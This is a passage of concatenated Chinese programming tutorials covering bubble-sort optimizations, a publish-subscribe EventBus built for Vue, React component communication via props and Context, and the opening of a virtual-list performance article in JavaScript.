     tmp = arr[j];
     arr[j] = arr[j + 1];
     arr[j + 1] = tmp;

代表他是有序的

  • 每一轮循环时假设他是有序的 如果确实没进入交换代表是有序的,后面就不要再交换了

在每一轮开始时,默认打上 isSorted='有序' 标记,如果在这一轮交换中,数据一旦发生交换,就把 isSorted='无序',如果整轮交换中,都没有发生交换,那就表示数组是有序的了。我们就可以退出整个 for 循环的执行。

// 排序数组
var arr = [1, 5, 3, 2, 6];
// 数组长度
var len = arr.length;
var isSorted;
// 外层for控制交换轮数
for (var i = 0; i < len - 1; i++) {
   isSorted = true; // 假设当前数组是有序的
  // 内层for控制每一轮,元素交换次数处理
  for (var j = 0; j < len - i - 1; j++) {
    if (arr[j] > arr[j + 1]) {
      // 交换两元素位置
      var tmp; // 用来交换两个变量的中间变量
      tmp = arr[j];
      arr[j] = arr[j + 1];
      arr[j + 1] = tmp;
   //如果当前数组以及该是有序,它压根就不会进到交换
       isSorted = false;
    }
  }
  if(isSorted) {
      break;
  }
}
console.log(arr); // [1, 2, 3, 5, 6]

image.png

优化的价值

  • 最好情况(原本有序):
    时间复杂度从 O(n²) → O(n)
  • 实际项目中,对“几乎有序”的数据非常友好

3. 冒泡排序优化 2 -- 减少没必要的“比较”

  • 动态缩小“无序区”的右边界
  • 记录每一轮最后一次交换元素的位置,该位置为无序列表的边界,再往右就是有序区了
  • 每一轮比较,比较到上一轮元素最后一次交换的位置(即无序列表的边界)就不再比较了。
变量 解决的问题
isSorted 还要不要继续排序
sortBorder 内层循环跑到哪里为止
index 下一轮新的无序边界
// 排序数组
var arr = [98, 2, 3, 45, 4, 1, 5, 78, 6, 7, 8, 20];
// 数组长度
var len = arr.length;
// 当前是否是有序的
var isSorted;
// 有序的边界
var sortBorder = len - 1; //初始值
// 记录每一轮最后一次交换的值,确定下一次循有序边界
var index;

// 外层for控制交换轮数
for (var i = 0; i < len - 1; i++) {
    // 内层for控制每一轮,元素交换次数处理
    isSorted = true; // 有序标记,每轮开始默认为有序,如果一旦发生交换,就会变成flag=false,无序
    for (var j = 0; j < sortBorder; j++) {
        if (arr[j] > arr[j + 1]) {
            // 交换两元素位置
            var tmp; // 用来交换两个变量的中间变量
            tmp = arr[j];
            arr[j] = arr[j + 1];
            arr[j + 1] = tmp;
            isSorted = false;
  // 把无序列表的边界,更新为最后一次交换元素的位置
            index = j;
        }
    }
    // 如果无序,记录上一次最后一次交换的元素下标
    if (!isSorted) {
        sortBorder = index;
    }
    // 这一轮多次交换下来,flag没有变为false,说明没有发生元素交换,此时数组已是有序的
    if (isSorted) {
        break; // 退出最外层for循环
    }
}
console.log(arr);

image.png

  • 尾部有序的数据越多,收益越大
  • 对“部分有序、局部乱序”的数组特别友好
  • 冒泡排序从“教学算法”,进化成了一个还算能用的基础排序

面试官:你能说下订阅发布模式么,怎么在VUE项目中实现一个类似eventBus的事件总线呢

简介

订阅发布模式是一种消息传递范式,用于解耦发送消息的组件(发布者,Publisher)和接收消息的组件(订阅者,Subscriber),它还有一个核心枢纽 (消息代理,Message Broker),三大核心角色组成了订阅发布模式。


核心概念

订阅发布模式中有三个主要角色:

1. 发布者 (Publisher) 📢

  • 职责: 负责创建和发送消息。
  • 特点: 发布者不知道哪些或有多少订阅者会接收这些消息,它只管将消息发送给一个中间层——消息代理/消息总线(Message Broker/Bus)

2. 订阅者 (Subscriber) 👂

  • 职责: 负责接收和处理消息的角色。
  • 特点: 订阅者不知道谁发布了消息。它们通过向消息代理 订阅(Subscribe) 一个或多个特定的 主题(Topic)频道(Channel) 来接收相关消息。

3. 消息代理 (Message Broker) 📮

  • 职责: 这是一个核心中间件,负责接收发布者发送的消息,并根据消息的主题,将消息分发给所有已订阅该主题的订阅者。
  • 特点: 它就是一个核心枢纽,发布者和订阅者之间的桥梁,彼此可以不知道对方的存在,实现解耦

工作流程

  1. 订阅: 订阅者通知消息代理,它对某个或某些主题感兴趣。
  2. 发布: 发布者将包含数据的消息以及一个特定的主题发送给消息代理。
  3. 分发: 消息代理接收到消息后,根据消息携带的主题,查找所有订阅了该主题的订阅者。
  4. 接收: 消息代理将消息发送给相应的订阅者。

主要优点 🏆

  • 解耦性: 这是最大的优势。发布者和订阅者彼此独立,不需要知道对方的身份或存在。这使得系统组件可以独立地开发、部署和扩展。
  • 可扩展性: 可以轻松地增加新的订阅者来处理相同的消息,而无需修改发布者。
  • 灵活性: 消息可以以异步方式处理。发布者无需等待订阅者处理完消息,提高了系统的响应速度。

简单用一个比喻描述订阅发布模式

有一家专门对接岗位与求职者的工会服务中心(消息代理),这里每天都挤满了怀揣求职梦的年轻人(订阅者)。

要是求职者们都守在服务中心里干等机会,不仅会白白耗费时间,还可能错过其他要紧事。于是工会贴心地推出了 “岗位预约提醒” 服务:求职者只需留下自己的求职意向 —— 有人只填了 “前端开发”,有人同时勾选了 “后端开发” 和 “软件测试”(多主题订阅),再登记好联系方式,就可以先去忙自己的事,不用再原地苦等(异步机制的体现)。

没过多久,热闹的招聘场景就来了:先是 A 科技公司的招聘负责人(发布者 1)来到工会,带来了 2 个前端工程师的岗位需求;紧接着 B 互联网企业(发布者 2)也上门,发布了 3 个前端岗位和 1 个后端岗位的招聘信息;半小时后,C 外包公司(发布者 3)也送来 2 个软件测试的岗位需求(多发布者不同主题发消息)。

工会工作人员立刻对照着登记册,开启了精准分发:

  • 所有只登记了 “前端开发” 的求职者,都同时收到了 A 公司和 B 公司的前端岗位信息;
  • 那些同时勾选 “后端 + 测试” 的求职者,既拿到了 B 公司的后端岗位通知,也收到了 C 公司的测试岗位邀约;
  • 仅意向 “后端” 的求职者,则只收到了 B 公司的后端岗位信息。

整个过程里,多家招聘方不用挨个对接求职者,不同需求的求职者也能精准获取匹配的岗位信息,甚至有人能同时收到多类岗位通知。

在Vue项目中实现一个简单的eventBus事件总线

项目有现成的不一定需要自己写事件总线,不过可以通过例子加深对订阅发布的了解,例子里面四个主要文件,这几个文件结合起来的效果是这样的,初始状态是右图,点击按钮后会发布订阅,接收者数据会变更。

首先创建一个eventBus.JS文件,实现事件总线中心,代码如下:

/**
 * 核心原理:
 * 1. 中间载体:维护一个事件对象,作为事件的「中转站」
 * 2. 事件存储:使用对象存储事件名和回调函数的映射关系 { 'eventName': [cb1, cb2, ...] }
 * 3. 订阅(on):将回调函数推入对应事件名的数组中
 * 4. 发布(emit):触发事件名对应的所有回调函数,并传递参数
 * 5. 取消(off):从事件数组中移除指定回调(避免内存泄漏)
 * 6. 一次性订阅(once): 订阅事件,但只执行一次,执行后自动取消订阅
 */

class EventBus {
  constructor() {
    /**
     * 事件存储对象
     * 结构:{ 'eventName': [callback1, callback2, ...] }
     * key: 事件名称(字符串)
     * value: 该事件对应的回调函数数组
     */
    this.events = {};
  }

  isString(eventName) {
    if (!eventName || typeof eventName !== 'string') {
      console.warn('[EventBus] 事件名必须是字符串');
      return false;
    }
    return true;
  }

  /**
   * 订阅事件(on)
   * 将回调函数注册到指定事件名对应的回调数组中
   * 
   * @param {string} eventName - 事件名称
   * @param {Function} callback - 回调函数
   */
  on(eventName, callback) {
    // 参数验证
    if (!this.isString(eventName)) return () => {};
    
    if (typeof callback !== 'function') {
      console.warn('[EventBus] 回调函数必须是函数类型');
      return () => {};
    }

    // 如果该事件名不存在,初始化为空数组
    if (!this.events[eventName]) {
      this.events[eventName] = [];
    }

    // 将回调函数推入数组中
    this.events[eventName].push(callback);

    // 返回取消订阅的函数,方便使用
    return () => {
      this.off(eventName, callback);
    };
  }

  /**
   * 发布事件(emit)
   * 触发指定事件名的所有回调函数,并传递参数
   * 
   * @param {string} eventName - 事件名称
   * @param {...any} args - 传递给回调函数的参数
   */
  emit(eventName, ...args) {
    // 参数验证
    if (!this.isString(eventName)) return

    // 获取该事件对应的所有回调函数
    const callbacks = this.events[eventName];

    // 如果该事件没有订阅者,直接返回
    if (!callbacks || callbacks.length === 0) {
      console.warn(`[EventBus] 事件 "${eventName}" 没有订阅者`);
      return;
    }

    // 遍历执行所有回调函数
    callbacks.forEach((callback) => {
      try {
        // 使用 try-catch 包裹,避免某个回调出错影响其他回调
        callback.apply(null, args);
      } catch (error) {
        console.error(`[EventBus] 执行事件 "${eventName}" 的回调时出错:`, error);
      }
    });
  }

  /**
   * 取消订阅(off)
   * 从指定事件名的回调数组中移除回调函数
   * 
   * @param {string} eventName - 事件名称
   * @param {Function} callback - 要移除的回调函数(可选,不传则移除该事件的所有回调)
   */
  off(eventName, callback) {
    // 参数验证
    if (this.isString(eventName)) return

    // 如果该事件不存在,直接返回
    if (!this.events[eventName]) {
      return;
    }

    // 如果没有传入 callback,则移除该事件的所有回调
    if (!callback) {
      delete this.events[eventName];
      return;
    }

    // 从数组中移除指定的回调函数
    const callbacks = this.events[eventName];
    const index = callbacks.indexOf(callback);
    
    if (index > -1) {
      callbacks.splice(index, 1);
      
      // 如果数组为空,删除该事件
      if (callbacks.length === 0) {
        delete this.events[eventName];
      }
    }
  }

  /**
   * 一次性订阅(once)
   * 订阅事件,但只执行一次,执行后自动取消订阅
   * 
   * @param {string} eventName - 事件名称
   * @param {Function} callback - 回调函数
   */
  once(eventName, callback) {
    // 创建一个包装函数,执行一次后自动取消
    const wrapper = (...args) => {
      callback.apply(null, args);
      this.off(eventName, wrapper);
    };

    // 订阅包装后的函数
    this.on(eventName, wrapper);
  }

  /**
   * 清除所有事件
   * 清空所有事件和回调函数(通常在应用卸载时调用,避免内存泄漏)
   */
  clear() {
    this.events = {};
  }

}

// 创建并导出一个单例实例
// 这样整个应用使用同一个事件总线实例
const eventBus = new EventBus();

export default eventBus;

// 也可以导出类,方便需要多个独立事件总线的场景
export { EventBus };


在创建一个订阅者组件Subscriber.vue 文件,代码如下:

<template>
  <div class="receiver">
    <h3>接收者组件(订阅事件)</h3>
    
    <div class="messages">
      <h4>收到的消息:</h4>
      <div v-if="messages.length === 0" class="empty">暂无消息</div>
      <div v-else class="message-list">
        <div v-for="(msg, index) in messages" :key="index" class="message-item">
          {{ msg }}
        </div>
      </div>
    </div>

    <div class="user-info" v-if="userInfo">
      <h4>用户信息:</h4>
      <div class="info-card">
        <p><strong>ID:</strong> {{ userInfo.id + new Date().toLocaleTimeString() }}</p>
        <p><strong>姓名:</strong> {{ userInfo.name + new Date().toLocaleTimeString() }}</p>
        <p><strong>邮箱:</strong> {{ userInfo.email }}</p>
      </div>
    </div>

    <div class="counter" v-if="counter !== null">
      <h4>计数器值:</h4>
      <div class="counter-value">{{ counter }}</div>
    </div>

    <!-- once 示例区域 -->
    <div class="once-example">
      <div v-if="!onceMessageReceived" class="once-pending">
        <p>等待接收一次性消息...</p>
        <p class="tip">点击"发送一次性消息"按钮,这个消息只会被接收一次</p>
      </div>
      <div v-else class="once-received">
        <p class="success">✓ 已收到一次性消息:</p>
        <div class="once-message">{{ onceMessage }}</div>
        <p class="tip">即使再次发送,也不会再接收(因为使用了 once)</p>
      </div>
    </div>
  </div>
</template>

<script setup>
import { ref, onMounted, onUnmounted } from 'vue';
import eventBus from '../utils/eventBus';

/**
 * Receiver 组件
 * 功能:通过 EventBus 订阅事件,接收其他组件发布的消息
 */

const messages = ref([]);
const userInfo = ref(null);
const counter = ref(null);

// once 示例相关的状态
const onceMessageReceived = ref(false);
const onceMessage = ref('');

/**
 * 处理收到的消息
 */
const handleMessage = (data) => {
  messages.value.unshift(data.text);
  // 只保留最近 5 条消息
  if (messages.value.length > 5) {
    messages.value = messages.value.slice(0, 5);
  }
};

/**
 * 处理收到的用户信息
 */
const handleUserInfo = (data) => {
  userInfo.value = data;
};

/**
 * 处理收到的计数器值
 */
const handleCounter = (count) => {
  counter.value = count;
};

/**
 * 处理一次性消息(once 示例)
 * 
 * 这个回调只会执行一次,执行后自动取消订阅
 */
const handleOnceMessage = (data) => {
  onceMessageReceived.value = true;
  onceMessage.value = data.text;
};

/**
 * 组件挂载时订阅事件
 * 
 * 订阅三个事件:
 * 1. 'message' - 消息事件(使用 on,可多次接收)
 * 2. 'userInfo' - 用户信息事件(使用 on,可多次接收)
 * 3. 'counter' - 计数器事件(使用 on,可多次接收)
 * 4. 'onceMessage' - 一次性消息事件(使用 once,只接收一次)
 */
onMounted(() => {
  // 使用 on 订阅事件(可多次接收)
  eventBus.on('message', handleMessage);
  eventBus.on('userInfo', handleUserInfo);
  eventBus.on('counter', handleCounter);
  
  // 使用 once 订阅事件(只接收一次,执行后自动取消订阅)
  // 这是 once 方法的调用示例
  eventBus.once('onceMessage', handleOnceMessage)
});

/**
 * 组件卸载时取消订阅
 * 
 * 重要:必须取消订阅,避免内存泄漏
 * 否则回调函数会一直保留在内存中
 */
onUnmounted(() => {
  // 取消所有订阅
  eventBus.off('message', handleMessage);
  eventBus.off('userInfo', handleUserInfo);
  eventBus.off('counter', handleCounter);
});
</script>

<style scoped>
.receiver {
  padding: 20px;
  border: 2px solid #3498db;
  border-radius: 8px;
  background-color: #f0f8ff;
}

h3 {
  margin-top: 0;
  color: #3498db;
}

h4 {
  color: #2980b9;
  margin-top: 20px;
  margin-bottom: 10px;
}

.messages {
  margin-bottom: 20px;
}

.empty {
  padding: 10px;
  color: #999;
  font-style: italic;
}

.message-list {
  max-height: 150px;
  overflow-y: auto;
}

.message-item {
  padding: 8px 12px;
  margin: 5px 0;
  background-color: white;
  border-left: 3px solid #3498db;
  border-radius: 4px;
  font-size: 14px;
}

.user-info .info-card {
  padding: 15px;
  background-color: white;
  border-radius: 4px;
  border: 1px solid #ddd;
}

.info-card p {
  margin: 8px 0;
  color: #333;
}

.counter-value {
  font-size: 32px;
  font-weight: bold;
  color: #e74c3c;
  text-align: center;
  padding: 20px;
  background-color: white;
  border-radius: 4px;
  border: 2px solid #e74c3c;
}

.once-example {
  margin-top: 20px;
  padding: 15px;
  background-color: #fff3cd;
  border-radius: 4px;
  border: 2px solid #ff9800;
}

.once-pending {
  color: #856404;
}

.once-pending .tip {
  font-size: 12px;
  margin-top: 10px;
  color: #856404;
  font-style: italic;
}

.once-received {
  color: #155724;
}

.once-received .success {
  font-weight: bold;
  color: #155724;
  margin-bottom: 10px;
}

.once-message {
  padding: 10px;
  background-color: white;
  border-radius: 4px;
  border-left: 3px solid #ff9800;
  margin: 10px 0;
  font-weight: bold;
}

.once-received .tip {
  font-size: 12px;
  margin-top: 10px;
  color: #856404;
  font-style: italic;
}
</style>

再创建一个发布者组件 Publisher.vue ,代码如下:

<template>
  <div class="sender">
    <h3>发送者组件(发布事件)</h3>
    <div class="buttons">
      <button @click="sendMessage">发送消息</button>
      <button @click="sendUserInfo">发送用户信息</button>
      <button @click="sendCounter">发送计数器</button>
      <button @click="sendOnceMessage" class="btn-once">
        发送一次性消息
      </button>
    </div>
    <div class="info">
      <p>已发送 {{ messageCount }} 条消息</p>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue';
import eventBus from '../utils/eventBus';

/**
 * 
 * 功能:通过 EventBus 发布事件,通知其他组件
 */

const messageCount = ref(0);

/**
 * 发送消息事件
 */
const sendMessage = () => {
  messageCount.value++;
  const message = `这是第 ${messageCount.value} 条消息 - ${new Date().toLocaleTimeString()}`;
  
  // 发布 'message' 事件,传递消息内容
  eventBus.emit('message', {
    text: message,
    timestamp: new Date().toISOString()
  });
};

/**
 * 发送用户信息事件
 */
const sendUserInfo = () => {
  const userInfo = {
    id: 1,
    name: '张三',
    email: `zhangsan@${Math.floor(Math.random() * 1000)}.com`
  };
  
  // 发布 'userInfo' 事件
  eventBus.emit('userInfo', userInfo);
};

/**
 * 发送计数器事件
 */
const sendCounter = () => {
  const count = Math.floor(Math.random() * 100);
  
  // 发布 'counter' 事件
  eventBus.emit('counter', count);
};

/**
 * 发送一次性消息事件(用于演示 once 方法)
 * 
 * 这个事件只会被 once 订阅者接收一次
 * 即使多次点击,只有第一次会触发回调
 */
const sendOnceMessage = () => {
  const message = `这是一次性消息 - ${new Date().toLocaleTimeString()}`;
  
  // 发布 'onceMessage' 事件
  eventBus.emit('onceMessage', {
    text: message,
    timestamp: new Date().toISOString()
  });
};
</script>

<style scoped>
.sender {
  padding: 20px;
  border: 2px solid #42b983;
  border-radius: 8px;
  background-color: #f0f9ff;
}

h3 {
  margin-top: 0;
  color: #42b983;
}

.buttons {
  display: flex;
  gap: 10px;
  margin: 15px 0;
  display: flex;
  flex-direction: column;
}

button {
  padding: 10px 20px;
  background-color: #42b983;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  font-size: 14px;
  transition: background-color 0.3s;
}

button:hover {
  background-color: #35a372;
}

button.btn-once {
  background-color: #ff9800;
}

button.btn-once:hover {
  background-color: #f57c00;
}

.info {
  margin-top: 15px;
  padding: 10px;
  background-color: #e8f5e9;
  border-radius: 4px;
}

.info p {
  margin: 0;
  color: #2e7d32;
}
</style>

根组件代码:

<template>
  <div id="app">
    <div class="container">
      <header>
        <h1>EventBus 订阅发布模</h1>
        <p class="subtitle">实现非父子组件间的跨层级通信</p>
      </header>

      <div class="components">
        <!-- 发送者组件 -->
        <Sender />      
        <!-- 接收者组件 -->
        <Receiver />
        
      </div>
    </div>
  </div>
</template>

<script setup>
import Sender from './components/Sender.vue';
import Receiver from './components/Receiver.vue';
</script>

<style>
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
  padding: 20px;
}

#app {
  max-width: 1200px;
  margin: 0 auto;
}

.container {
  background-color: white;
  border-radius: 12px;
  padding: 30px;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
}

header {
  text-align: center;
  margin-bottom: 30px;
  padding-bottom: 20px;
  border-bottom: 2px solid #eee;
}

header h1 {
  color: #333;
  font-size: 32px;
  margin-bottom: 10px;
}

.subtitle {
  color: #666;
  font-size: 16px;
}

.components {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
  gap: 20px;
  margin-bottom: 30px;
}
</style>

总结

发布订阅模式的核心价值是解耦:发布者无需知道谁订阅了事件,订阅者无需知道事件由谁发布;前端中最常用的场景是「跨组件通信」和「事件驱动逻辑」,最常用的工具是 Vue 生态的 mitt/EventBus、原生 EventEmitter、Socket.IO 等。使用时需注意取消订阅,避免内存泄漏。

拿捏 React 组件通讯:从父子到跨组件的「传功秘籍」

前言

你有没有过这种崩溃时刻?写 React 组件时,想让父子组件互通数据,结果代码越写越乱;兄弟组件想传个值,绕了八层父组件还没搞定…… 为啥别人的 React 组件传值丝滑?别慌!秘密都在这!今天咱们用 「武侠传功」 的思路,React 组件通讯的坑,一篇帮你填平!

一、父子组件:父传子的「单向秘籍」

想象一下:父组件武林盟主,手里有本 《九阴真经》(变量),想传给子组件这个小徒弟。但规矩是:

徒弟只能看,不能改!

传功步骤:

  1. 父组件发功:在子组件标签上绑定属性(把秘籍递出去)
  2. 子组件接功:通过 props 接收(双手接住秘籍)

看个例子:

父组件(盟主)把 state.name 传给子组件:

// 父组件 Parent.jsx
import Child from "./Child";
export default function Parent(props) {
    const state = {
        name: 'henry' // 这是要传的「秘籍」
    };
    return (
        <div>
            <h2>父组件</h2>
            <Child msg = {state.name}/> {/* 绑定属性 msg,把秘籍递出去 */}
        </div>
    );
}

子组件(徒弟)用 props 接收,但不能修改(秘籍是只读的!):

// 子组件 Child.jsx
export default function Child(props) {
    console.log(props); // 能看到 {msg: 'henry'}
    // props.msg = 'harvest'; // ❌ 报错!props 是只读的,不能改!
    return (
        {/* 展示接收到的「秘籍」 */}
        <div>子组件 -- {props.msg}</div> 
    );
}

打印结果如下:

image.png

如果修改值会报错(只读,不能改!):

image.png

二、子父组件:子传父的「反向传功」

这次反过来:子组件是徒弟,练出了新招式(变量),想传给父组件盟主。但徒弟不能直接塞给盟主,得让盟主递个「接收袋」(函数),徒弟把招式装进去

传功步骤:

  1. 父组件递袋:定义接收数据的函数(准备好接收袋)
  2. 父传子袋:把函数通过 props 传给子组件(把袋子递过去)
  3. 子组件装招:调用函数并传数据(把新招式装进袋子)

代码例子:

父组件准备「接收袋」getNum,传给子组件:

// 父组件 Parent.jsx
import Child from "./Child"
import { useState } from "react";
export default function Parent() {
    let [count, setCount] = useState(1);
    // 定义「接收袋」:收到数据后更新自己的状态
    const getNum = (n) => {
        setCount(n);
    }
    return (
        <div>
            <h2>父组件二 -- {count}</h2>
            <Child getNum = {getNum}/> {/* 把袋子递过去 */}
        </div>
    );
}

子组件调用 getNum,把自己的 state.num 传过去:

// 子组件 Child.jsx
export default function Child(props) {
    const state = {
        num: 100 // 自己练的新招式
    };
    function send() {
        props.getNum(state.num); // 把新招式装进袋子
    }
    return (
        <div>
            <h3>子组件二</h3>
            <button onClick={send}>发送</button> {/* 点按钮传功 */}
        </div>
    )
}

点击发送前:

image.png

点击发送后:

image.png

这样我们就成功的把子组件的变量传给了父组件。这里我们用到了useState,至于它的作用我们暂时先不讲,我们先搞懂通讯。

三、兄弟组件:「父组件当中间商」

兄弟组件像两个师兄弟,想互相传功?得先把招式传给盟主父组件(中间商),再让父组件转给另一个兄弟。

传功步骤:

  1. 弟 1 传父:弟 1 把数据传给父组件
  2. 父传弟 2:父组件把数据传给弟 2

依旧代码:

父组件当中间商,接收 Child1 的数据,再传给 Child2:

// 父组件 Parent.jsx
import { useState } from "react";
import Child1 from "./Child1"
import Child2 from "./Child2"
export default function Parent(props) {
    let [message, setMessage] = useState();
    // 接收 Child1 的数据
    const getMeg = (msg) => {
        setMessage(msg);
    }
    return (
        <div>
            <h2>父组件三</h2>
            <Child1 getMeg = {getMeg} /> {/* 收 Child1 的数据 */}
            <Child2 msg = {message}/> {/* 把数据传给 Child2 */}
        </div>
    )
}

Child1(兄) 传数据给父:

// Child1.jsx
export default function Child1(props) {
    const state = {
        msg: '3.1'
    };
    function send() {
        props.getMeg(state.msg); // 传给父组件
    }
    return (
        <div>
            <h3>子组件3.1</h3>
            <button onClick={send}>发送</button>
        </div>
    )
}

Child2(弟) 接收父组件传来的数据:

// Child2.jsx
export default function Child2(props) {
    return (
        <div>
            <h3>子组件3.2 -- {props.msg}</h3> {/* 展示兄传来的数据 */}
        </div>
    )
}

发送前:

image.png

发送后:

image.png

如此这般,子组件3.2就成功接收到了子组件3.1的传递信息。

四、跨组件通信:「Context 全局广播」

如果组件嵌套了好多层(比如父→子→孙→重孙),一层层传功太麻烦了!这时候用 Context 就像 「武林广播」:父组件把数据广播出去,所有后代组件都能直接收到。

广播步骤:

  1. 父组件建广播台:用 createContext 创建上下文对象,用 Provider 广播数据
  2. 后代组件收广播:用 useContext 接收广播的内容

还是代码:

父组件建广播台,广播「父组件的数据」:

// 父组件 Parent.jsx
import Child1 from "./Child1";
import { createContext } from 'react';
// 创建上下文对象(广播台)
export const Context = createContext() 
export default function Parent() {
    return (
        <div>
            <h2>父组件四</h2>
            {/* 用 Provider 广播数据,value 是要传的内容 */}
            <Context.Provider value={'父组件的数据'}>
                <Child1/>
            </Context.Provider>
        </div>
    );
}

孙组件直接收广播(不用经过子组件):

// 孙组件 Child2.jsx
import { useContext } from 'react'
import { Context } from './Parent' // 引入广播台
export default function Child2() {
    const msg = useContext(Context) // 直接接收广播内容
    return (
        <div>
            <h4>孙子组件 --- {msg}</h4> {/* 展示广播的内容 */}
        </div>
    );
}

另外附上子组件代码:

import Child2 from "./Child2"
export default function Child1() {
    return (
        <div>
            <h3>子组件</h3>
            <Child2/>
        </div>
    );
}

结果孙子组件成功得到父组件的数据:

image.png

五、温馨提示

别忘了App.jsxmain.jsx文件!前面的所有结果都需要这两个大佬的支持。

// App.jsx
// import Parent from "./demo1/Parent"
// import Parent from "./demo2/Parent"
// import Parent from "./demo3/Parent"
import Parent from "./demo4/Parent"

export default function App() {
    return (
        <Parent></Parent>
    )
}
// main.jsx
import { createRoot } from 'react-dom/client'
import App from './App.jsx'

createRoot(document.getElementById('root')).render(
    <App />
)

这两份是创建React自带的,但是还是提醒一下大家别忘了!

六、总结:组件通讯「武功谱」

通讯场景 方法 核心思路
父子组件 props 传值 父传子,子只读
子父组件 props 传函数 父给函数,子调用传数据
兄弟组件 父组件中转 子→父→另一个子
跨组件 Context(上下文) 父广播,后代直接收

结语

其实 React 组件通讯的核心,从来都不是死记硬背步骤,而是找准数据的流向。父子传值用 props 单向传递,子父传值借函数反向搭桥,兄弟组件靠父组件当 “中转站”,跨层级通信就用 Context 打破嵌套壁垒。

这些方法没有优劣之分,只有场景之别。新手阶段先把 props 和函数传值练熟,再逐步尝试 Context,甚至后续学习的 Redux 等状态管理库,都是在这个基础上的延伸。

记住:

组件通讯本质,就是让数据在合适的组件间有序流动。现在就打开编辑器,把这些例子敲一遍,你会发现,那些曾经让你头疼的传值问题,早就迎刃而解了。

JavaScript性能与优化:手写实现关键优化技术

引言

在前端开发中,性能优化不仅仅是使用现成的库和工具,理解其底层原理并能够手写实现是关键。通过手写这些优化技术,我们可以:

  • 更深入地理解性能瓶颈
  • 根据具体场景定制优化方案
  • 避免引入不必要的依赖
  • 提升解决问题的能力

本文将深入探讨JavaScript性能优化的核心手写实现,每个技术点都将包含完整的实现代码和应用场景。

一、虚拟列表实现(Virtual List)

虚拟列表是处理大数据列表渲染的核心技术,通过只渲染可视区域内的元素来大幅提升性能。

1.1 核心原理
class VirtualList {
  constructor(options) {
    this.container = options.container;
    this.itemHeight = options.itemHeight;
    this.totalItems = options.totalItems;
    this.bufferSize = options.bufferSize || 5; // 上下缓冲区域
    this.renderItem = options.renderItem;
    
    this.visibleItems = [];
    this.startIndex = 0;
    this.endIndex = 0;
    
    this.init();
  }

  init() {
    // 创建容器
    this.viewport = document.createElement('div');
    this.viewport.style.position = 'relative';
    this.viewport.style.height = `${this.totalItems * this.itemHeight}px`;
    this.viewport.style.overflow = 'hidden';
    
    this.content = document.createElement('div');
    this.content.style.position = 'absolute';
    this.content.style.top = '0';
    this.content.style.left = '0';
    this.content.style.width = '100%';
    
    this.container.appendChild(this.viewport);
    this.viewport.appendChild(this.content);
    
    // 绑定滚动事件
    this.viewport.addEventListener('scroll', this.handleScroll.bind(this));
    
    // 初始渲染
    this.calculateVisibleRange();
    this.renderVisibleItems();
  }

  calculateVisibleRange() {
    const scrollTop = this.viewport.scrollTop;
    const visibleHeight = this.viewport.clientHeight;
    
    // 计算可视区域起始和结束索引
    this.startIndex = Math.max(
      0,
      Math.floor(scrollTop / this.itemHeight) - this.bufferSize
    );
    
    this.endIndex = Math.min(
      this.totalItems - 1,
      Math.ceil((scrollTop + visibleHeight) / this.itemHeight) + this.bufferSize
    );
  }

  renderVisibleItems() {
    // 移除不在可视区域的元素
    this.visibleItems.forEach(item => {
      if (item.index < this.startIndex || item.index > this.endIndex) {
        item.element.remove();
      }
    });
    
    // 更新可见项数组
    this.visibleItems = this.visibleItems.filter(
      item => item.index >= this.startIndex && item.index <= this.endIndex
    );
    
    // 创建新的可见项
    for (let i = this.startIndex; i <= this.endIndex; i++) {
      const existingItem = this.visibleItems.find(item => item.index === i);
      
      if (!existingItem) {
        const itemElement = document.createElement('div');
        itemElement.style.position = 'absolute';
        itemElement.style.top = `${i * this.itemHeight}px`;
        itemElement.style.height = `${this.itemHeight}px`;
        itemElement.style.width = '100%';
        
        this.renderItem(itemElement, i);
        
        this.content.appendChild(itemElement);
        this.visibleItems.push({ index: i, element: itemElement });
      }
    }
    
    // 更新内容区域位置
    this.content.style.transform = `translateY(${this.startIndex * this.itemHeight}px)`;
  }

  handleScroll() {
    requestAnimationFrame(() => {
      this.calculateVisibleRange();
      this.renderVisibleItems();
    });
  }

  updateItem(index, data) {
    const item = this.visibleItems.find(item => item.index === index);
    if (item) {
      this.renderItem(item.element, index, data);
    }
  }

  destroy() {
    this.viewport.removeEventListener('scroll', this.handleScroll);
    this.container.removeChild(this.viewport);
  }
}

// 使用示例
const listContainer = document.getElementById('list-container');

const virtualList = new VirtualList({
  container: listContainer,
  itemHeight: 50,
  totalItems: 10000,
  bufferSize: 10,
  renderItem: (element, index) => {
    element.textContent = `Item ${index + 1}`;
    element.style.borderBottom = '1px solid #eee';
    element.style.padding = '10px';
  }
});

// 动态更新
setTimeout(() => {
  virtualList.updateItem(5, 'Updated Item 6');
}, 2000);
1.2 带动态高度的虚拟列表
class DynamicVirtualList {
  constructor(options) {
    this.container = options.container;
    this.totalItems = options.totalItems;
    this.renderItem = options.renderItem;
    this.estimateHeight = options.estimateHeight || 50;
    this.bufferSize = options.bufferSize || 5;
    
    this.itemHeights = new Array(this.totalItems).fill(null);
    this.itemPositions = new Array(this.totalItems).fill(0);
    this.visibleItems = [];
    this.cachedItems = new Map();
    
    this.init();
  }

  init() {
    this.viewport = document.createElement('div');
    this.viewport.style.position = 'relative';
    this.viewport.style.height = '500px';
    this.viewport.style.overflow = 'auto';
    
    this.content = document.createElement('div');
    this.content.style.position = 'relative';
    
    this.viewport.appendChild(this.content);
    this.container.appendChild(this.viewport);
    
    // 计算预估的总高度
    this.calculatePositions();
    this.updateContentHeight();
    
    this.viewport.addEventListener('scroll', this.handleScroll.bind(this));
    
    // 初始渲染
    this.calculateVisibleRange();
    this.renderVisibleItems();
  }

  calculatePositions() {
    let totalHeight = 0;
    for (let i = 0; i < this.totalItems; i++) {
      this.itemPositions[i] = totalHeight;
      totalHeight += this.itemHeights[i] || this.estimateHeight;
    }
    this.totalHeight = totalHeight;
  }

  updateContentHeight() {
    this.content.style.height = `${this.totalHeight}px`;
  }

  calculateVisibleRange() {
    const scrollTop = this.viewport.scrollTop;
    const viewportHeight = this.viewport.clientHeight;
    
    // 二分查找起始索引
    let start = 0;
    let end = this.totalItems - 1;
    
    while (start <= end) {
      const mid = Math.floor((start + end) / 2);
      if (this.itemPositions[mid] <= scrollTop) {
        start = mid + 1;
      } else {
        end = mid - 1;
      }
    }
    
    this.startIndex = Math.max(0, end - this.bufferSize);
    
